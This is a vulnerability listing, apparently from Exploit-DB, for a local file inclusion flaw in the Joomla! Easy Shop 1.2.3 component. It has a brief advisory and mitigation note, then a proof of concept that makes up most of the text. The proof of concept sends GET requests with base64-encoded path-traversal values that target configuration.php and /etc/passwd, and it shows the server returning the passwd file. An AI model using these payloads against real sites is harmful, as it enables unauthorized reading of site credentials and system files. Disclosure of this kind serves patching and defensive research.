Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

vendor:

Easy Shop

by:

Ihsan Sencan

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Easy Shop

Affected Version From: 1.2.3

Affected Version To: 1.2.3

Patch Exists: YES

Related CWE: N/A

CPE: a:joomtech:easy_shop:1.2.3

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2019

Joomla! Component Easy Shop 1.2.3 – Local File Inclusion

Joomla! Component Easy Shop 1.2.3 is vulnerable to Local File Inclusion. An attacker can exploit this vulnerability to read sensitive files from the server. This vulnerability exists due to insufficient sanitization of user-supplied input to the 'file' parameter of the 'index.php' script. An attacker can send a specially crafted HTTP request to the vulnerable script and read sensitive files from the server.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of the software.

Source

Exploit-DB raw data:

# Exploit Title: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion
# Dork: N/A
# Date: 2019-01-22
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://joomtech.net/
# Software D.: https://www.joomtech.net/products/easyshop?task=file.download&key=7bafaa65995fb3b1383328105df1e10f
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/easy-shop/
# Version: 1.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=[BASE64_FILE_NAME]
# 

GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA= HTTP/1.1
GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: __cfduid=d11dd4447c0b8ef3cd8c4f6745ebdf50e1548111108; 6eecafb7a7a944789bd299deac1ff945=osde04ob1pgq9o3p8arfqtbobk
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 21 Jan 2019 23:58:02 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expect-CT: max-age=604800, report-uri="http://localhost/[PATH]/"
Server: cloudflare
CF-RAY: 49cd621bce8f537e-LAX
Content-Encoding: br

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
....